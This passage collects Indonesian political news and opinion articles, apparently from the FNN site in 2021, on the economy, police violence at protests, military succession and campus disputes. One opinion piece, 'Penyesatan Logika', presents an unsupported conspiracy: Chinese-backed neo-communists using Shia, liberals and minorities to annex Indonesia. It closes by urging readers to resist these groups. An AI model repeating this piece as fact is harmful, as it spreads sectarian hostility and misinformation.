sebagai bonus demografi, sekarang tiba-tiba menjadi bencana demografi. Ini fakta dan terjadi secara nyata," katanya. Partai Gelora, lanjutnya, tidak hanya sekedar mengkritik pemerintah, tapi lebih kepada membongkar fakta. Sehingga nantinya didapatkan suatu stimulan untuk memikirkan arah ekonomi baru bagi Indonesia. "Kita ingin membantu masyarakat untuk mengetahui, apa yang menjadi problema substansial dan membuka perbincangan hari-hari menjadi lebih berkualitas. Ini bisa menjadi konsumsi publik karena menyentuh kehidupan kita secara nyata," ujarnya. Anis Matta menambahkan pandemi Covid-19 saat ini menjadi 'trigger' yang bisa memecahkan 'bisul' permasalahan perekonomian Indonesia, yang selama ini menjadi masalah. Indonesia, kata Anis Matta, sedang menunggu datangnya gelombang ketiga dan keempat Covid-19, yang saat ini sudah terjadi di Amerika, Eropa, Rusia dan Turki. Sebab, krisis sekarang tidak bisa diprediksi kapan akan berakhir, meski trennya mengalami penurunan saat ini. "Setiap hari kita lihat begitu banyak tumbangnya perusahaan dan berdampak pada PHK pada dunia usaha kita. Hal ini bisa menjadi ancaman kebangkrutan dunia usaha, bahkan ancaman kebangkrutan negara," ujarnya. Pengamat ekonomi Faisal Basri meminta pemerintah segera mengambil langkah luar bisa dalam menghadapi ancaman kebangkrutan ekonomi saat ini, yang sudah memukul dunia usaha dan membuat APBN defisit cukup dalam. "Jadi negara-negara yang survive (bertahan) adalah negara-negara yang mengandalkan perdagangan intra-industri merupakan bagian dari global supply chain," kata Faisal Basri. Ia menilai dunia usaha lebih mampu bertahan dari ancaman kebangkrutan, dbandingkan dengan negara. Dunia usaha akan cepat beradaptasi dengan krisis, sementara negara cenderung membutuhkan waktu yang lama untuk beradaptasi dan kondisi keuangan negara bisa terkuras habis. "Kebangkrutan itu bisa sebelum 2024, pemerintah ini sudah bangkrut. Saya berharap Pak Jokowi (Joko Widodo) segera sadar bahwa keuangan negara sedang di bawah ancaman dan perlu langkah taktis untuk menyelamatkan itu," ujar ekonom senior ini. Sementara itu Wakil Ketua Apindo Bob Azam mengatakan, pandemi Covid-19 telah mengakibatkan 50% dari 30 juta UMKM terancam bangkrut. Disamping itu, ada juga perusahaan-perusahaan yang masih dalam periode bertahan dan bisa menghadapi situasi pandemi, serta ada perusahaan yang dalam masa recovery. Namun, dia mengungkapkan, ada lebih dari 1.000 perusahaan yang telah mengajukan diri ke Penundaan Kewajiban Pembayaran Utang (PKPU). Perusahaan itu menghadapi ancaman kebangkrutan juga. "1.000 lebih perusahaan yang mengajukan diri ke PKPU menghadapi isu kebangkrutan. Dan pandemi ini belum tentu akan selesai karena masih ada ancaman varian baru dan perubahan-perubahan di dunia usaha," pungkasnya. (mth)

Penyesatan Logika (Logical Fallacy)

BANGSA ini dijajah, ditindas, dijarah, didzolimi, ratusan tahun oleh bangsa Eropah (Portugis-Spanyol- Belanda-Inggris) dan Jepang. Tapi, narasi yang dibangun saat ini adalah narasi kebencian terhadap bangsa Arab. Yang merusak dan menghancurkan negeri kita hari ini adalah ; budaya korupsi, konsumsi narkoba, gaya hidup materialistik dan hedonis, perampokan sumber kekayaan alam negara oleh elit oligharki, sex bebas, dan LGBT. Namun di spanduk beberapa seminar, upacara, sekolah, yang dianggap ancaman adalah ; Radikalisme, Intoleransi, Politik identitas. Oknum dan kelompok yang banyak merusak dan menghancurkan bangsa ini hingga banyak masyarakat yang miskin dan bodoh adalah : Politisi partai politik, aparat negara, cukong, dan pejabat. Tapi yang diprovokasi untuk dimusuhi seolah jadi musuh negara adalah ; Ulama, Kiyai, Habaib, Aktifis dan Pejuang Demokrasi. Yang secara fakta dan sejarah kelompok yang berkhianat, membunuhi rakyat dan mau mengganti Pancasila adalah ; PKI di zaman Soekarno, dan RUU HIP diusulkan PDIP di zaman Jokowi. Tapi yang selalu dituduh anti Pancasila dan dibubarkan ormasnya adalah ; FPI dan HTI. Yang selalu bohong, tidak menepati janji, membuat hutang dan perjanjian investasi merugikan negara hari ini adalah rezim penguasa. Tetapi yang dipenjarakan adalah para pejuang yang mengkritik dan mengingatkan untuk perbaikan. Demikianlah potret buram bangsa kita hari ini. Telah terjadi upaya penggeseran nilai moralitas dan nilai-nilai kebaikan menjadi terbalik. Nilai moralitas dan nilai-nilai kebaikan yang baik, disulap menjadi kata-kata yang menakutkan. Nilai kehidupan yang membawa dampak kerusakan dan maksiat, dipoles seolah menjadi nilai kebaikan atas nama moderenisasi dan kemajuan. Radikalisme (taat kepada ajaran agama yang mengakar), Intoleransi (ke-istiqomahan atas nilai moral individual), Politik identitas (Nilai kodrati dan fitrah atas keberagaman), disulap jadi kata-kata yang sangat buruk menakutkan. Padahal, Indonesia ini tidak akan merdeka kalau tidak ada radikalisme terhadap agama dan keyakinan sehingga lahirlah semangat perlawanan berbasis nilai spritualitas yang tinggi. Padahal sikap intoleransi ini adalah benteng manusia secara individu atas nilai-nilai yang merusak nilai dan moralitas yang sudah ada hidup dan berkembang sesuai kearifan lokal nusantara. Namun intoleransi saat ini, menjadi alat “pemukul” kepada mereka yang tidak mau ikut dan tunduk pada nilai nilai kehidupan liberal dan sekulerisme. Sambil, melemahkan dominasi kelompok mayoritas agar tunduk dan takluk pada minoritas. Padahal politik identitas untuk kondisi keberagaman nusantara adalah karakter dasar yang harus dijaga, agar tidak larut dalam budaya budaya global yang merusak jati diri anak bangsa. Sehingga bangsa Indonesia tetap berkarakter Indonesia berjati diri nusantara yang religius. Begitu juga dengan isu “War on terror”, dimana di Barat isu ini sudah tak laku lagi dan basi. Karena barat khususnya Amerika sudah sadar dan kecolongan, ketika mereka sibuk tiga dasa warsa memerangi kelompok Islam di timur tengah, di satu sisi China bangkit sebagai negara naga raksasa baru dunia. Malah hari ini China negara komunis adi daya hari ini, sudah berani terang terangan menantang hegemoni Amerika dan sekutunya. Namun di Indonesia, aparat dan penguasanya semakin serius menjadikan isu terorisme untuk menghabisi kelompok Islam yang mayoritas di Indonesia. Islam berhasil mereka balik menjadi ancaman dan musuh negara berbasis Fasisme-Feodalistik. Yaitu ; Mengadu domba sesama ummat Islam, ummat Islam dengan kelompok non-muslim radikal, Islam Vs Syiah, Islam Vs Kelompok Sekuler/Liberal, dan Islam Vs musuh abadinya Neo-Komunis. Kelompok Islam yang tak mau tunduk akan di cap radikal, intoleran, ujungnya diteroriskan agar punya legitimasi untuk dihabisi. Tapi kelompok Islam yang manut, patuh, meskipun tolol dan idiot akan diberikan fasilitas kekuasaan dan jabatan. Sempurna sudah kelompok Islam yang taat (fundamental) dikeroyok kekuasaan dan antek-antek peliharaannya. Kondisi sosial hari ini kalau kita tanyakan kepada para tokoh sepuh dan orang tua memang sangat mirip sekali dengan suasana sosial politik ketika PKI berkuasa pada tahun 1960an di bawah kekuasaan rezim orde lama Soekarno. Ummat Islam dibuat gerah dan tidak nyaman hidup di negeri ini. Kriminalisasi, persekusi, penistaan, hingga pembunuhan sadis dialami ummat Islam saat itu. Ulama dan tokohnya dipenjarakan. Ajaran Islam dinistakan. Ormas pelindung ummat Islam yang idealis dibubarkan. Tapi sebaliknya para pembenci Islam dipelihara dan diback-up kekuasaan. Lalu apa bedanya dengan hari ini ??? Itulah yang disebut dengan perang asymetris berbasis ideologi. Menggunakan methode logical fallacie dalam hal mencuci otak masyarakatnya agar menjadi terbalik. Agar mudah disusupi, diracun pikirannya, dan kemudian dikuasai kehidupannya. Sebagai mana strategi komunis dalam menguasai sebuah negara yaitu ; Miskinkan, bodohi, pecah belah, hancurkan, kuasai, dan teror. Awalnya mereka akan angkat isu menjunjung tinggi nilai keberagaman agar tidak terjadi hegemoni kelompok mayoritas. Setelah itu masing kelompok yang beragam ini mereka pertentangkan dan ado domba hingga berpecah belah dan saling cakar. Kemudian baru mereka masuk dan kuasai sambil mengatakan agama sebagai sumber masalah yang melahirkan keberagaman, maka solusinya tinggalkan agama dan hidup jauh dari nilai agama yang dianggap sebagai racun dan candu. Awalnya sejalan dengan ideologi sekuler dan liberal yaitu memisahkan kehidupan dari agama dan hidup bebas dari nilai agama yang doktrin. Namun puncaknya adalah ; Mereka hidup tanpa agama, anti terhadap agama, dan tunduk hanya pada penguasa tunggal atas nama negara. Itulah puncak dari ideologi komunisme itu. Jadi sudah jelas bukan ?? Siapa musuh sejati bangsa kita hari ini ?? Jawabannya adalah kelompok Neo-Komunis yang disponsori negara super power baru China. China hari ini di bawah kepemimpinan Xi Jin Ping, akan menjadikan instrumen ideologi komunisme sebagai sarana mewujudkan impiannya menguasai dunia. Dan Indonesia adalah salah satu target utamanya. Menggunakan sentimen dendam para anak PKI yang gagal dua kali kudeta, memanfaatkan sentimen kebencian kelompok minoritas non-muslim radikal, memanfaatkan sentimen penganut Syiah dan kelompok Liberal untuk jadi ujung tombak proxy China untuk “soft-aneksasi” Indonesia menjadi Indochina 2030. Jawabannya sekarang ada pada seluruh rakyat Indonesia. Musuh sudah jelas di depan mata. Masih mau ditipu daya dan dibodohi? Masih jadi pengecut? Atau bangkit bersama melawan? Alias bangkit atau punah? Biarkan waktu yang menjawabnya. Wallahualam.

Piting, Banting, dan Gonjang-Ganjing

By M Rizal Fadillah Ini adalah peristiwa aksi unjuk rasa mahasiswa di depan Kantor Pemkab Tangerang berkaitan dengan HUT Kabupaten Tangerang ke 389. Para mahasiswa ingin menyampaikan aspirasi kepada Bupati Kabupaten Tangerang namun dihadang aparat Kepolisian sehingga terjadi kericuhan. Seorang mahasiswa Muhammad Faris Amrullah (21) mendapat perlakuan kasar petugas dengan dipiting, diangkat, dan dibanting. Pingsan dan mengalami kejang-kejang. Kemudian menjadi gonjang-ganjing dalam pemberitaan. Tuntutan publik agar anggota Kepolisian Polresta Tangerang pelaku kekerasan dikenakan sanksi terus bergulir baik sanksi administratif maupun pidana. Propam menjalankan Pemeriksaan. Kapolresta Tangerang maupun Kapolda Banten telah meminta maaf kepada korban dan keluarga. Gonjang-ganjing belum berhenti. Video kejadian tetap viral di media sosial. Aksi kekerasan penanganan aksi unjuk rasa bukan pertama, tetapi berulang, bahkan pengunjuk rasa yang tewas maupun teraniaya telah terjadi di berbagai tempat. Kasus penanganan aksi unjuk rasa di depan kantor Bawaslu 21-22 Mei 2019 yang menewaskan 9 pengunjuk rasa belum tuntas pengusutan apalagi pemberian sanksi. Kepolisian kini sedang mendapat sorotan masyarakat. Di samping konsep "democratic policing" yang dinilai telah membawa Kepolisian merambah kemana-mana (multi fungsi) termasuk ke ruang politik, juga pada penegakan hukum yang banyak menuai kritik. Penggunaan UU ITE sangat diskriminatif dan bernuansa politis. Tugas Kepolisian dirasakan memiliki garis demarkasi yang tipis antara alat negara dengan alat pemerintahan atau alat kepentingan politik penguasa. Keterlibatan Brimob menjadi titik krusial Kepolisian dalam menangani unjuk rasa. Polisi "bersenjata dan berpostur tentara" ini sering menjadi warna berbeda dengan wajah "sipil atau kemasyarakatan" Polisi. Babinsa di Sulut baru baru ini "dipiting" juga oleh Brimob. Mengingat postur seperti ini wajar jika di masyarakat muncul gagasan agar Brimob ini sebaiknya dilebur saja ke dalam TNI. Apapun itu, nampaknya perlu evaluasi mendasar atas fungsi dan peran Kepolisian dalam sistem ketatanegaraan kita, termasuk kaji ulang Kapolri yang berkedudukan langsung di bawah dan bertanggungjawab kepada Presiden. Apalagi ternyata praktek politik kenegaraan nyatanya lebih bersifat oligarkhi ketimbang demokrasi. *) Pemerhati Politik dan Pemerintahan

Marsekal TNI Fadjar Prasetyo, Kenapa Tidak?

Oleh Brigjen TNI (Purn) Drs. Aziz Ahmadi, M. Sc. BULAN Oktober, boleh disebut sebagai bulan TNI. Di bulan kesepuluh inilah, TNI diukir dalam sejarah. Tepatnya, sejak 5 Oktober 1945, secara resmi dan profesional, TNI mulai "menyejarah". Melengkapi Sama Oktobernya, tapi berbeda fokusnya. Kali ini, publik tidak bertanya hal-hal substantif. Bagaimana perkembangan TNI, setahun terakhir ini? Tapi, lebih fokus ke hal-hal praktis yang seksi. Kapan Panglima TNI (akan) diganti? Siapa, yang paling berpeluang menggantikannya? Adalah, Selamat Ginting Suka. Wartawan senior dan pemerhati militer. Sekaligus, dosen/akademisi Universitas Nasional (Unas). Ia tanggap akan selera "pasar". Ia jawab dengan analisa tajam dan komprehensip, seputar pergantian Panglima TNI itu. Melalui kanal Youtube, "Forum News Network (FNN)", yang digawangi oleh wartawan senior juga. Hersubeno Arif, namanya. Ginting, antara lain mengemukakan, "Proses dan dinamika pergantian Panglima TNI saat ini, amat menarik dan dinamis. Melahirkan berbagai skenario dan dipengaruhi beberapa hal. (1) Relasi kekuasaan ; (2) Tarik-menarik kepentingan (politik) ; dan (3) Beberapa faktor risiko", - berupa domino/rangkaian peristiwa ikutan - yang mesti dipertimbangkan. Tulisan ini, tidak untuk mengkritisi analisa yang sudah komplit itu. Apalagi, "vis a vis" hendak menanggapinya. Tulisan ini, hanya "melengkapi" untuk membulatkannya. Atau, sekadar tambahan elaborasi, untuk memperkaya informasi atas masalah terkait. Suasana Galau Patut diduga, proses pergantian Panglima TNI kali ini, dibarengi galaunya suasana kebatinan, di pihak Presiden. Galau, karena harus melepas "kepastian kenyamanan", menuju "ketidakpastian". Hal itu wajar saja, sebagai "sesuatu" yang mengiringi - walau untuk sesaat - terjadinya proses pergantian suatu jabatan. Apalagi, terkait jabatan se-strategis Panglima TNI. Marsekal TNI Hadi Tjahjanto, menjabat Panglima TNI sejak, 8 Desember 2017. Nyaris genap empat tahun (hanya kurang 8 hari). Durasi yang amat lama, tentunya. Ini sekaligus menjadi bukti, jika Presiden merasa amat cocok, nyaman dan aman, bersama Marsekal Hadi. Di sini, tentu faktor subjektivitas (Presiden), amat menentukan. Sependek yang penulis dapat catat, Panglima TNI ke-20 ini, menjabat paling lama dan (memang terlanjur) kelamaan. Memecahkan rekor terlama sebelumnya, yang dipegang Panglima TNI ke-14, Jenderal TNI Endriartono Sutarto, 7 Juni 2002 - 13 Februari 2006. Sayangnya, sudah kelamaan, tapi masih juga diulur (terus) sampai memasuki injury time. Wajar dan sah-sah saja, jika kemudian timbul berbagai analisa, komentar, dan praduga-praduga. Kedzaliman Baru Pertanyaan kritisnya, apa dampak negatif (durasi jabatan yang terlalu panjang) bagi organisasi TNI? Ada dua yang amat menonjol dan signifikan: pertama, organisasi TNI mengalami kejenuhan. Kedua, terjadi kemacetan proses regenerasi kepemimpinan. "Kejenuhan", lazimnya mengikis kesegaran dinamika organisasi. Menghambat kreativitas berpikir. Mendorong berbagai apatisme, dan menghalangi lahirnya prestasi dan inovasi. Begitu pula dengan "kemacetan proses regenerasi", sangat mengganggu proses dan dinamika sirkulasi kepemimpinan. Bahkan amat menghambat hadirnya pemimpin baru, yang lebih fresh dan memberi harapan baru, bagi institusi TNI. Pada kondisi seperti itu, cenderung terjadi ironi. Terjadi hal-hal yang sungsang, sifatnya. Disengaja atau tidak, di sini terjadi sebuah "kedzaliman baru". Ada yang mestinya lebih berhak, tapi justru tidak mendapatkan haknya, karena lokomotif mbegegek di tempat. Tidak bergeser atau bergerak. Sebaliknya, juga ada yang beroleh keberuntungan. Tetiba mendapat "rejeki nomplok", alias "durèn gogrok". Berlakulah ungkapan, "si dungu dapat dikalahkan si cerdas. Tapi si cerdas bisa dikalahkan oleh si bejo atau yang ketiban nasib baik". Multi Tafsir Dasar hukum pergantian Panglima TNI, ada 3 (tiga): Pertama, Tap MPR RI, No. VII/2000, tentang Peran TNI dan Polri, Pasal 3. Kedua, UU, No. 3/2002, tentang Pertahanan Negara, Pasal 17. Ketiga, UU No. 34/2004, tentang Tentara Nasional Indonesia (TNI), Pasal 13. Dari ketiga dasar hukum itu, hanya UU No. 34/2004, yang cukup detail menjelaskan, "Bagaimana prosedur dan mekanisme pergantian Panglima TNI". Ini termuat dalam 10 Ayat, Pasal 13 tersebut. Namun demikian, masih juga terjadi tarik-menarik dan relasi kepentingan yang tidak singkron, dalam setiap proses pergantian (calon) Panglima TNI. Satu sebabnya, terjadi "multi tafsir" terhadap Ayat (4), Pasal 13. Ayat (4) ini, pada prinsipnya berbunyi : "Jabatan Panglima TNI, dapat dijabat secara bergantian, oleh perwira tinggi aktif dari tiap-tiap Angkatan yang sedang atau pernah menjabat sebagai Kepala Staf Angkatan". Kata "dapat", bermakna mubah, atau bisa dan boleh. Tidak harus/tidak wajib. Maksudnya, "bisa/boleh tidak bergantian", atau, "tidak harus/tidak wajib bergantian". Sedangkan kata, "bergantian" itu sendiri - belum diikuti oleh aturan yang jelas. "Bagaimana pola/bentuk bergantian, itu"? Apakah : (1) Menggunakan pola, "gilir kacang/linear"? (AD, AL, AU ; AD, AL, AU ; AD, AL, AU). (2) Apakah berpola, "deret ukur/hitung"? (AD, AD, AL ; AL, AU, AD ; AD, AU, AU) ; dan (3) Atau dengan pola "perbandingan"? (2 : 1 : 1 ; 1 : 2 : 1 ; 1 : 1 : 2). Tidak Relevan Walau ayat (4) tersebut multi tafsir, tapi di sana pulalah nilai bijaksanaanya. Menjadi luwes atau tidak kaku, dan tidak pula membelenggu atau menyulitkan, Presiden dan DPR. Sesempurna apapun sebuah UU/aturan, pelaksanaannya sangat ditentukan oleh semangat penyelenggaranya. Kata kuncinya, tidak dijadikan dalih, untuk mengumbar subjektivitas diri (Presiden/DPR), secara liar dan berlebihan. Oleh karenanya, menjadi tidak relevan, diskusi tentang usia calon, jumlah personil, dan lain-lain. KSAD, misalnya - dinilai berkurang elektabilitasnnya menjadi Panglima TNI, hanya karena satu tahun lagi pensiun. Tidak efisien dan efektif lagi, katanya. Padahal, efisiensi dan efektivitas kepemimpinan, tidak ditentukan semata oleh durasi bertugas. Tapi lebih bertumpu pada integritas, komitmen, visi, dan strong leardership, yang dimilikinya. Satu tahun, bahkan satu hari sekalipun tidak masalah. Asalkan, "mampu mengubah jerami menjadi emas". Niscaya itu lebih bagus, dari pada menjabat bertahun-tahun. Namun hasilnya, hanya "membikin Harimau menjadi Kucing", misalnya. Sama tidak relevannya, menjadikan faktor jumlah prajurit, sebagai alasan untuk mendapat jatah (bergantian), yang lebih sering, dari lainnya. Setiap matra, memiliki sifat dan ciri khas sendiri. Dari (+/-) 400.000-an personil prajurit TNI, hampir ⅔-nya prajurit Angkatan Darat. Matra darat (TNI AD) sifatnya, "awak yang dipersenjatai", alias, padat penduduk. Sedangkan matra laut dan udara (TNI AL & AU) sifatnya, "senjata yang diawaki", alias, padat teknologi. Jadi, klaim "padat penduduk" mesti bisa diredam dengan "padat teknologi". Kenapa Tidak? Diskusi dan diskursus tentang calon pengganti Panglima TNI, juga terasa makin tidak adil dan bijaksana. Manakala, hanya berkutat pada sosok KASAD dan KASAL. Manakala, sejak pagi-pagi sudah tidak melibatkan Kepala Staf TNI AU (KSAU). Alasannya terlalu lucu dan dicari-cari. Hanya karena pejabat yang akan diganti (incumbent), berasal dari matra yang sama (TNI AU). Memangnya, kenapa jika dari matra yang sama? Marsekal TNI Fadjar Prasetyo - KSAU - justru paling eligibel menjadi Panglima TNI. Dari sisi profesioalisme, disiplin dan loyalitas, semua Kepala Staf Angkatan, tentu tak perlu diragukan lagi. Dari sisi kepatutan dan kelayakan (fit & proper), pastilah yang the good dan the best, di Angkatan/matra, masing-masing. Dari sisi usia? Dihadapkan dengan usia pensiun, Marsekal TNI Fadjar Prasetyo, SE, M.P.P, paling ideal. Ia lahir, 9 April 1966 (usia baru 55 tahun). KSAU ke-23 ini, memiliki waktu yang cukup untuk menjadi Panglima TNI. Masih ada tiga tahun, sebelum pensiun. Sementara KASAL ke-22, Laksamana TNI Yudo Margono, SE, MM, adalah lulusan AAL XXXIII/1988. Lahir, 26 November 1965 (usia 56 tahun). Tersisa (+/-) dua tahun lagi, menuju pensiun. Adapun KASAD, Jenderal TNI Andika Perkasa, SE, MA, M. Sc, M. Phil, Ph. D, merupakan lulusan Akmil 1987. Lahir, 21 Desember 1964 (usia 57 tahun). Kasad ke-22 ini, hanya tinggal (+/-) satu tahun lagi, menuju pensiun. Lebih dari itu, dari aspek moral dan tradisi/budaya kepemimpinan dalam militer, Marsekal TNI Fadjar Prasetyo, relatif paling mulus, dibandingkan lainnya. Publik, tidak punya catatan atau imajinasi negatif, terhadap KSAU. Tidak ada, resistensi permasalahan yang membebaninya. Juga, tidak ada kesenjangan ekspektasi, saat menjabat sebagai KSAU, selama ini. Jadi, KSAU punya posisi tawar paling tinggi dari aspek moral dan tradisi kepemimpinan dalam militer/TNI. Hal ini sesuai dengan penjelasan Pasal 13 Ayat (2), UU No. 34/2004, sebagai berikut: "Yang dimaksud dengan persetujuan DPR (terhadap calon Panglima TNI yg diajukan oleh Presiden) adalah, pendapat berdasarkan alasan dan pertimbangan yang kuat tentang aspek moral dan kepribadian, berdasarkan rekam jejak". Pointnya, Marsekal TNI Fadjar Prasetyo, SE, M.P.P, paling tepat, patut dan layak, dipilih Presiden dan DPR, menjadi (calon) Panglima TNI. Kenapa Tidak? *) Purnawirawan TNI

Gonjang-Ganjing Nusantara

Oleh Sugengwaras *) Motif kebohongan yang dibungkus pembangunan dengan biaya APBN adalah salah satu modus jitu yang digunakan oleh setan-setan politik di lingkaran istana. Politik tidak identik dengan kekuasaan dan kekerasan, tanpa perjuangan politik tidak ada NKRI. Namun politik yang dibungkus dengan strategi, bisa menghancurkan tatanan dan peradaban bangsa. Contoh gamblang adalah pembangunan jalan kereta api cepat Jakarta-Bandung yang cacat visibel, paradok perhitungan manfaat, pemerataan rakyat dan untung rugi. Jokowi pada awalnya mewanti-wanti agar tidak menggunakan biaya APBN, namun kini karena pelambatan kerja dan pembengkakan biaya yang salah satunya akibat pandemi Covid - 19, terpaksalah bekerja dengan pola mumpung kuasa dengan menaikkan dan membuka lahan baru perpajakan yang dibebankan kepada rakyat melalui perubahan NIK di KTP menjadi NPWP. Artinya bagi pemegang KTP otomatis sebagai wajib pajak, bisa jadi ke depan akte kelahiran juga akan di-NPWP-kan. Dikatakan non-visibel karena asumsi atau prediksi akan meraub penumpang sebanyak 40.000 orang perhari, adalah imposible, di samping jarak yang relatif dekat dengan kecepatan tinggi juga menambah ketimpangan pemerataan kesejahteraan rakyat di luar area Jakarta-Bandung. Keterlibatan Luhut Binsar Pandjaitan (LBP) sang superman yang mengangkangi 10 jabatan penting, mengindikasikan kebuntuan berpikir sang presiden dalam tugas negara yang bisa dibagi habis oleh para pakar dan praktisi di bidangnya. Penyiapan tim pemilu pada Pilpres 2024 yang mengarah kepada dominasi eks pejabat lama KPU dan BAWASLU, mengindikasikan cara-cara dan permainan lama dengan bungkus baru. Konsep RUU Kepolisian yang mengarah akan bisa menangkap, mem-BAP dan memidana langsung kepada anggota TNI semakin menambah kecurigaan atas gagasan Tito Karnavian dalam bukunya yang berjudul Democratic Policing, serta cuplikan arahan Tito sewaktu menjabat Kapolri terkait agar semua jajaran Polri bersabar. Kita mengalah untuk kepentingan yang lebih besar, yaitu mewujudkan Democratic Policing yang nantinya TNI akan tunduk pada hukum kepolisian. Untuk itu agar terus rangkul TNI. Jika suratan di atas tanpa direkayasa dan dikurang lebihi, Tito harus klarifikasi kepada masyarakat umumnya, dan TNI khususnya, agar kekompakan TNI POLRI tidak hanya sebagai jebakan atau slogan belaka. Perlu dipahami dan disadari bahwa antara TNI dan POLRI merupakan badan atau instansi yang sangat dominan dalam bidang Pertahanan dan Keamanan Negara, yang menjalankan politik negara untuk kepentingan negara dan meninggalkan politik praktis untuk kepentingan tertentu. Oleh karenanya TNI POLRI harus disetarakan kedudukannya serta disesuaikan kebutuhan awak dan peralatanya agar tidak merasa arogan secara sepihak yang bisa memunculkan kecemburuan. Logikanya tidak mungkin polisi akan paling terdepan berperan di negara ini, karena kondisi dan hakikat menghadapi ancaman senantiasa harus diimbangi dengan awak, sarana dan prasarana yang dimiliki. Konkritnya polisi hanya berkemampuan beberapa kilo meter dari pantai dengan kedalaman tertentu untuk menyikapi bahaya atau ancaman laut, apa lagi bahaya udara atau ancaman udara. Sedangkan hakikat ancaman jauh lebih dimampui oleh ancaman nyata baik di darat, laut, maupun udara ketimbang kemampuan yang dimiliki polisi. Sayangnya pihak TNI sendiri secara oknum pejabat strategis, banyak yang abai pengertian ini sampai-sampai menggeneralisir dan menyalahtafsirkan makna kepemilikan presiden terhadap raktyatnya include TNI POLRI nya. Menyedihkan sekali. Maka tidak mengherankan bahwa masyarakat merasakan kebohongan dan kegaduhan yang dipertontonkan rezim ini tak ada habis-habisnya bak tepi tanpa batas. Atau barangkali ini sebagai tantangan dari rezim untuk menungggu celotehan PEOPLE POWER? *) Purnawirawan TNI AD, tinggal di Bandung

Aliansi Dosen UNJ Tolak Pemberian Gelar Kehormatan Doktor Honoris Causa untuk Ma'ruf Amin dan Erick Thohir

Jakarta, FNN - Aliansi Dosen Universitas Negeri Jakarta (UNJ) menolak pengajuan kembali gelar kehormatan doktor honoris causa untuk Wakil Presiden RI Ma'ruf Amin dan Menteri BUMN Erick Thohir. Ubedilah Badrun yang mewakili Presdium Aliansi Dosen UNJ mengatakan sikap itu ditegaskan pihaknya menyusul informasi bahwa senat kampus tersebut akan mengadakan rapat penentuan pengajuan kembali Ma'ruf dan Erick untuk mendapatkan gelar kehormatan tersebut pada Kamis (14/10). Kabar itu, kata dia, terbaca pada agenda persetujuan pemberian gelar Dr HC yang dimuat dalam surat undangan rapat Senat UNJ bernomor B/3110/UN39.22/TP.01.07/2021 tertanggal 4 Oktober 2021. Padahal, kata Ubed, pemberian gelar doktor kehormatan kepada pejabat negara itu sudah ditolak pada September 2020 lalu karena berbau kepentingan pragmatis. Kini, sambung Ubedilah, Aliansi Dosen UNJ akan tetap konsisten dengan penolakan itu. "Tentu saja Aliansi Dosen UNJ kaget dan tetap konsisten menolak upaya tersebut," kata Ubedilah. Dalam keterangan tertulis yang diterima FNN (14/10/2021) Ubedilah menuturkan setidaknya ada empat alasan mengapa pemberian gelar kehormatan akademis dari kampus untuk pejabat negara tersebut ditolak. Pertama, aliansi dosen menilai pemberian gelar doktor honoris causa pada tokoh yang sedang berkuasa dan memegang jabatan publik berpotensi mengancam otonomi perguruan tinggi dan kebebasan akademik. Selain itu, menurutnya pemberian gelar tersebut juga bisa merusak moral akademik universitas. Hal itu, kata Ubed, sudah diatur dalam Pedoman Penganugerahan Doktor Kehormatan UNJ tahun 2021 Bab tentang Persyaratan. Pada ayat 3 telah diatur bahwa penganugerahan gelar doktor honoris causa tidak diberikan UNJ kepada siapa pun yang sedang menjabat dalam pemerintahan. "Berbahaya jika rektor dan para profesor yang terhormat sebagai anggota senat universitas melanggar kode etik pedoman yang dibuatnya sendiri," ucapnya. Alasan kedua, lanjut Ubed, usulan pemberian gelar doktor honoris causa kepada pejabat negara juga kontraproduktif terhadap upaya memulihkan nama baik institusi UNJ. Apalagi kata dia, beberapa kali UNJ mendapat sorotan negatif atas beberapa peristiwa yang dinilai mencederai kehormatan kampus terkait relasinya dengan sejumlah pejabat. Alasan selanjutnya, Ubed menyebut alasan pemberian gelar doktor honoris causa kepada Ma'ruf Amin atas pemikirannya tentang negara kesepakatan patut dipertanyakan. "Selain ide tersebut tidak orisinal karena telah dikemukakan para pemikir klasik sejak abad ke-17 melalui teori kontrak sosial, dalam catatan kami Ma'ruf Amin juga memiliki catatan khusus dalam isu politik identitas di Jakarta tahun 2017 yang justru bertentangan dengan teori kontrak sosial," ucapnya. Alasan keempat, Ubed berpandangan mekanisme pemberian gelar doktor honoris causa juga diabaikan. Ia menduga usulan tersebut bukan dari program studi S3 UNJ yang berakreditasi A, tetapi dari atas. "Karenanya kami menolak pemberian gelar Dr. HC kepada pejabat tersebut dan mendesak senat UNJ agar upaya pemberian gelar kepada pejabat betul-betul dibatalkan demi marwah Universitas," kata dia. (mfq)

Anis Matta: Selamat Datang Ridwan Kamil

Jakarta, FNN — Ketua Umum Partai Gelora Indonesia Anis Matta akan sangat senang dan membuka pintu selebar-lebarnya jika Gubernur Jawa Barat Ridwan Kamil mau bergabung ke partainya. “Kalau beliau mau bergabung, Ahlan Wa Sahlan (selamat datang),” kata Anis kepada GenPI.co, Selasa (12/10/2021). Nama Ridwan Kamil menjadi salah satu figur yang sering muncul dalam berbagai survei calon presiden RI 2024. Kansnya cukup besar. Tak jarang ia masuk dalam 5 besar top survei. Sebelumnya mantan Walikota Bandung dua periode ini mengaku akan melakukan salat istikharah untuk bergabung dengan partai politik atau parpol. Saat ini, ia masih menimbang partai mana yang cocok sebelum diumumkan pada pertengahan tahun depan. “Kalau lanjut gubernur juga periode kedua, mungkin posisinya sudah berpartai. Mungkin di 2022 mungkin akan saya sampaikan, istikhoroh mana yang pas dulu,” cetus pria yang akrab disapa Kang Emil ini. “Sekarang masih istikharah menganalisa yang pas buat sosok saya. (Keputusannya) pertengahan 2022,” imbuhnya. (genpi/fajar)

Pemerintah Izinkan Wisman 19 Negara Masuk Bali dan Kepri

Jakarta, FNN - Menteri Koordinator (Menko) Bidang Kemaritiman dan Investasi Luhut Binsar Pandjaitan mengumumkan pemerintah telah memberikan izin bagi wisatawan mancanegara (wisman) dari 19 negara untuk bisa melakukan penerbangan internasional ke Bali dan Kepulauan Riau (Kepri). "Sesuai arahan Presiden RI, kami memberikan izin kepada 19 negara untuk bisa melakukan perjalanan menuju Bali dan Kepulauan Riau," kata Menko Luhut Pandjaitan dalam keterangan tertulis di Jakarta, Rabu. Ke 19 negara tersebut yaitu Saudi Arabia, United Arab Emirates (UAE), Selandia Baru, Kuwait, Bahrain, Qatar, China, India, Jepang, Korea Selatan, Liechtenstein, Italia, Perancis, Portugal, Spanyol, Swedia, Polandia, Hungaria, dan Norwegia. Dalam rapat koordinasi yang digelar secara virtual di Jakarta, Rabu, Menko Luhut mengungkapkan pemberian izin kepada 19 negara itu bukan tanpa alasan. Negara-negara tersebut dipilih sesuai standar Badan Kesehatan Dunia (WHO) karena angka kasus terkonfirmasi COVID-19-nya berada pada level 1 